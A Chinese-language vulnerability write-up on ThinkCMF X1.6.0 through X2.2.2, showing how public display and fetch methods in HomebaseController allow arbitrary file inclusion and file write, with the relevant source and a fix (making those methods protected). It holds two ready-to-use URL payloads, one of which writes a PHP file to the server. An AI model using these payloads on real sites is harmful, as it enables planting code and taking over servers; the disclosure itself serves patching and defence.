漏洞詳情
ThinkCMF是一款基於ThinkPHP+MySQL開發的中文內容管理框架。
利用前提
ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
漏洞復現
-
通過構造a參數的display方法,實現任意內容包含
payload:http://127.0.0.1/cmfx-X2.2.2/?a=display&templateFile=README.md
-
通過構造a參數的fetch方法,實現任意文件寫入,復現過程中有時能寫入,有時無法寫入。
payload:?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>
漏洞分析
首先打開index.php,找到項目路徑,定位到application
//開啟調試模式
define("APP_DEBUG", true);
//網站當前路徑
define('SITE_PATH', dirname(__FILE__)."/");
//項目路徑,不可更改
define('APP_PATH', SITE_PATH . 'application/');
//項目相對路徑,不可更改
define('SPAPP_PATH', SITE_PATH.'simplewind/');
//
define('SPAPP', './application/');
//項目資源目錄,不可更改
define('SPSTATIC', SITE_PATH.'statics/');
//定義緩存存放路徑
define("RUNTIME_PATH", SITE_PATH . "data/runtime/");
//靜態緩存目錄
define("HTML_PATH", SITE_PATH . "data/runtime/Html/");
打開application/Portal/Controller/IndexController
,發現display方法,繼續追蹤HomebaseController
use Common\Controller\HomebaseController;
/**
* 首頁
*/
class IndexController extends HomebaseController {
//首頁 小夏是老貓除外最帥的男人了
public function index() {
$this->display(":index");
}
}
追蹤HomebaseController,定位到display方法,display函數的作用是加載模板和頁面輸出,templateFile為模板文件地址,charset為模板字符集,contentType為輸出類型,content為輸出內容。另外存在public權限的函數還有fetch,fetch函數的作用是獲取頁面內容,templateFile為模板文件,content為輸出內容,prefix為模板緩存前綴。
防御
將HomebaseController.class.php和AdminbaseController.class.php類中display和fetch函數的修飾符改為protected。
參考